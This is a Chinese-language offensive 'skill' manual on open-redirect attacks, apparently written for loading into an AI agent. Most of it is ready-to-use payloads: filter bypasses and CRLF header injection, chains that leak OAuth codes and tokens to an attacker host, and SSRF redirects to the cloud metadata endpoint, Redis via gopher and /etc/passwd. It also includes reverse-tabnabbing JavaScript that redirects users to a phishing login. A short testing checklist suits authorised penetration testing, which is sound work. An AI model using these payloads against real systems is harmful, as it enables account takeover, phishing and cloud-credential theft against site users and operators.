开放重定向(Open Redirect)攻击与利用手册。当 URL 参数、表单提交目标或 JavaScript Sink 节点控制了页面跳转地址,并可能将用户重定向至攻击者控制的目标时使用。
SKILL: 开放重定向(Open Redirect)—— 专家级实战手册
AI 加载指令:开放重定向技术要点。涵盖基于参数的重定向、JavaScript Sinks、绕过过滤,以及组合钓鱼、CSRF Referer 绕过、OAuth Token 窃取和 SSRF 的链式利用。该漏洞常被低估,但在钓鱼攻击和多阶段漏洞利用链中属于关键环节。
1. 核心概念
开放重定向(Open Redirect)发生在应用程序未经充分验证,便将用户重定向到由用户输入决定的 URL 时。受信任的域名在此充当了钓鱼攻击或 Token 窃取的“跳板”。
https://trusted.com/redirect?url=https://evil.com
→ 用户在链接中看到 trusted.com → 点击 → 最终跳转并停留在 evil.com
2. 寻找重定向参数
常见参数名称
?url= ?redirect= ?next= ?dest=
?destination= ?redir= ?return= ?returnUrl=
?go= ?forward= ?target= ?out=
?continue= ?link= ?view= ?to=
?ref= ?callback= ?path= ?rurl=
服务端 Sink 节点
HTTP 301/302 Location header
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)
客户端 (JavaScript) Sink 节点
window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input
3. 过滤绕过技巧
| 验证机制 | 绕过方式 |
|---|---|
检查 URL 是否以 / 开头 |
//evil.com(相对协议 URL) |
检查域名是否包含 trusted.com |
evil.com?trusted.com 或 trusted.com.evil.com |
封禁 http:// |
//evil.com、https://evil.com、\/\/evil.com |
检查 URL 是否以 https://trusted.com 开头 |
https://trusted.com@evil.com(Userinfo 语法) |
正则表达式 ^/[^/](仅限相对路径) |
/\evil.com(部分浏览器会将反斜杠视为路径分割符) |
Django endswith('target.com') |
http://evil.com/www.target.com —— URL 路径以目标域名结尾 |
| 按域名后缀设白名单 | 对 *.trusted.com 进行子域名接管 |
# 相对协议:
//evil.com
# Userinfo 绕过:
https://trusted.com@evil.com
# 反斜杠技巧:
/\evil.com
/\/evil.com
# URL 编码:
https://trusted.com/%2F%2Fevil.com
# Django endswith 绕过:
http://evil.com/www.target.com
http://evil.com?target.com
# 信任站点二次重定向(例如通过百度跳转服务):
https://link.target.com/?url=http://evil.com
# 特殊字符混淆:
http://evil.com#@trusted.com # 将 anchor/fragment 误识别为 authority
http://evil.com?trusted.com # 查询字符串混淆
http://trusted.com%00@evil.com # 空字符(Null Byte)截断
# URL 中插入 Tab/换行符(浏览器会忽略空白字符):
java%09script:alert(1)
4. 组合利用链
钓鱼攻击放大 (Phishing Amplification)
攻击者发送:https://bigbank.com/redirect?url=https://bigbank-login.evil.com
受害者看到 bigbank.com 以为是正规链接 → 点击 → 在仿冒站点上输入凭据。
OAuth Token 窃取
如果 OAuth redirect_uri 允许在授权域名上进行开放重定向:
/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ 授权码(Code)或 Token 被附加到 evil.com 的 URL 中
→ 攻击者从 URL Fragment(锚点)或查询参数中截获 Token
CSRF Referer 绕过
某些 CSRF 防御机制会校验 Referer 请求头是否包含受信任域名:
1. 攻击者页面链接至:https://trusted.com/redirect?url=https://trusted.com/change-email
2. 重定向保留了来自 trusted.com 的 Referer
3. CSRF 防御通过,因为 Referer 等于 trusted.com
结合重定向实现 SSRF
当服务器自动跟踪 HTTP 重定向时:
?url=https://attacker.com/redirect-to-internal
# attacker.com 返回 302 → http://169.254.169.254/
# 服务器跟随重定向 → 触发对元数据节点的 SSRF 攻击
5. 测试清单
□ 识别所有触发重定向的 URL 参数
□ 测试外部域名:?url=https://evil.com
□ 测试相对协议:?url=//evil.com
□ 测试 Userinfo 绕过:?url=https://trusted.com@evil.com
□ 测试反斜杠:?url=/\evil.com
□ 测试 JavaScript Sink:?url=javascript:alert(1) (DOM 型)
□ 检查 OAuth 流程中的 redirect_uri 是否存在开放重定向
□ 确认重定向是否会在 URL 中泄露认证 Token
6. 标签页劫持 (TABNABBING / REVERSE TABNABBING)
概念
当链接使用 target="_blank" 打开新标签页,且未设置 rel="noopener" 时:
- 新页面可以通过
window.opener访问源页面 - 新页面可以重定向原始页面:
window.opener.location = "https://phishing.com/login" - 用户切回“原始”标签页 → 看到假的登录框 → 输入账号密码
检测方法
<!-- 存在漏洞: -->
<a href="https://external.com" target="_blank">Click here</a>
<!-- 安全写法: -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>
利用方式
// 在攻击者控制的页面上(通过 target="_blank" 打开):
if (window.opener) {
window.opener.location = "https://phishing.com/fake-login.html";
}
重点排查位置
- 包含链接的用户生成内容(论坛、评论区、个人主页)
- 带有
target="_blank"且指向外部域名的链接 - 在新标签页中打开的 PDF 预览或文档预览
7. 开放重定向 → OAUTH TOKEN 窃取(详细利用链)
7.1 OAuth 隐式授权模式 (Implicit Flow)
在隐式授权模式下,Access Token 会作为 URL Fragment(#access_token=...)返回。若 redirect_uri 允许在授权域名上执行开放重定向:
/authorize?response_type=token
&client_id=CLIENT
&redirect_uri=https://target.com/callback/../redirect?url=https://evil.com
&scope=read
攻击流程:
1. 用户完成身份验证 → 授权服务器重定向至:
https://target.com/redirect?url=https://evil.com#access_token=SECRET
2. 开放重定向触发 → 浏览器跳转至:
https://evil.com#access_token=SECRET
3. 攻击者页面读取 location.hash → 截获 Access Token
7.2 授权码模式 (Authorization Code Flow)
授权码(Authorization Code)通过 Query 参数传递。如果重定向链保留了 Query 参数:
/authorize?response_type=code
&client_id=CLIENT
&redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com
攻击流程:
1. 授权服务器验证 redirect_uri 前缀 → 匹配 https://target.com/
2. 重定向至:https://target.com/redirect?url=https://evil.com&code=AUTH_CODE
3. 开放重定向将受害者送往:https://evil.com?code=AUTH_CODE
4. 攻击者用截获的 code 换取 Access Token
7.3 OIDC id_token Fragment 泄露
/authorize?response_type=id_token
&client_id=CLIENT
&redirect_uri=https://target.com/cb
&nonce=NONCE
如果 redirect_uri 指向存在开放重定向的 Endpoint:
→ Fragment 中的 id_token 被发送给攻击者
→ 攻击者获得已签署的身份声明
→ 可以在任何接受该 IdP 的依赖方(RP)上冒充受害者登录
7.4 redirect_uri 验证绕过模式
redirect_uri=https://target.com/callback/../open-redirect?url=evil.com
redirect_uri=https://target.com/callback?next=https://evil.com
redirect_uri=https://target.com/callback%23@evil.com
redirect_uri=https://target.com/callback/../../redirect
redirect_uri=https://target.com/callback#@evil.com
8. 开放重定向 → SSRF 组合链
服务端跟随重定向 (Server-side redirect following)
当服务端组件会自动跟随 HTTP 重定向时(例如 URL 预览、链接展开、Webhook、图片拉取器):
1. 向服务端抓取器提交 URL:http://attacker.com/redirect
2. attacker.com 响应:302 Location: http://169.254.169.254/latest/meta-data/
3. 服务端跟随重定向 → 触发针对云厂商元数据节点的 SSRF
4. 响应(如 IAM 凭据)被返回给攻击者或直接展示在预览中
多跳重定向绕过过滤 (Multi-hop redirect for filter bypass)
1. 服务端禁止直接请求 169.254.169.254
2. 提交:http://attacker.com/r1
3. r1 → 302 → http://attacker.com/r2 (同域名,通过校验)
4. r2 → 302 → http://169.254.169.254/ (内网地址,未再次校验过滤规则)
DNS 重新绑定变体 (DNS rebinding variant)
1. attacker.com 解析为攻击者的公网 IP(TTL=0)
2. 服务端解析 attacker.com → 公网 IP → 通过 SSRF 过滤器
3. 建立连接,但 HTTP 重定向目标再次指向 attacker.com
4. 第二次 DNS 解析:attacker.com 此时解析为 169.254.169.254
5. 服务端跟随重定向请求内网地址
跨协议重定向扩充攻击面 (Scope escalation via redirect protocols)
http://attacker.com/redirect → gopher://127.0.0.1:6379/... (Redis SSRF)
http://attacker.com/redirect → file:///etc/passwd (读取本地文件)
http://attacker.com/redirect → dict://127.0.0.1:11211/ (Memcached)
注意:并非所有 HTTP 客户端都会跟随跨协议重定向,但 curl(默认配置)及部分主流库支持此行为。
9. 利用 URL 解析器差异绕过重定向限制
当重定向校验函数对 URL 的解析结果与最终处理该 URL 的浏览器或服务端不一致时:
相对协议 URL (Protocol-relative URL)
//attacker.com
→ 浏览器:https://attacker.com(继承当前页面的协议)
→ 部分校验器:误判定为相对路径 "/attacker.com"
反斜杠混淆 (Backslash confusion)
\/\/attacker.com
/\/attacker.com
→ 许多浏览器会在 URL 中自动将 \ 规格化为 /
→ 将 \ 视为普通路径字符的校验器可能会误放行
Userinfo 语法滥用
//attacker.com\@target.com
→ 浏览器:导航至 attacker.com(@ 为 Userinfo 分隔符)
→ 校验器:在字符串中看到 "target.com" → 误通过白名单检查
//target.com@attacker.com
→ 浏览器:userinfo=target.com,host=attacker.com
→ 校验器:检查“以 target.com 开头” → 误通过
https://target.com%2F@attacker.com
→ URL 解码后:target.com/ 作为 userinfo,host=attacker.com
双重编码 (Double encoding)
//attacker%252ecom
→ 第一次解码://attacker%2ecom(通过校验器)
→ 第二次解码(服务端/浏览器)://attacker.com(实际重定向目标)
CRLF 注入 + 重定向
/%0d%0aLocation:%20https://attacker.com
→ 若服务端在 Header 上下文中直接渲染该路径:
HTTP/1.1 302 Found
Location: /
Location: https://attacker.com ← 注入的 Header 优先生效
Fragment(锚点)混淆
https://target.com#@attacker.com
→ 浏览器:host=target.com,fragment=@attacker.com
→ 但部分基于 JS 的重定向(window.location = url)处理方式可能不同
https://attacker.com#.target.com
→ 校验器:在字符串中看到 "target.com" → 误通过
→ 浏览器:导航至 attacker.com(页面跳转时忽略 Fragment)
特殊字符处理差异
https://attacker.com%E3%80%82target.com
→ Unicode 句号(U+3002)—— 部分解析器会将其视作点号句点(.)
→ 浏览器与校验器的规格化逻辑可能存在差异
https://attacker。com (U+3002 全角句号)
https://attacker.com (U+FF0E 全角点号)
URL 解析器差异汇总对比表
| Payload | 校验器视角 | 浏览器实际跳转目标 |
|---|---|---|
//evil.com |
相对路径 | https://evil.com |
\/\/evil.com |
路径 \/\/evil.com |
https://evil.com |
//evil.com\@target.com |
包含 target.com |
https://evil.com |
//target.com@evil.com |
以 target.com 开头 |
https://evil.com |
/%0d%0aLocation: https://evil.com |
路径字符串 | Header 注入 → 触发重定向 |
//evil%252ecom |
evil%2ecom(非法域名) |
evil.com(二次解码后) |






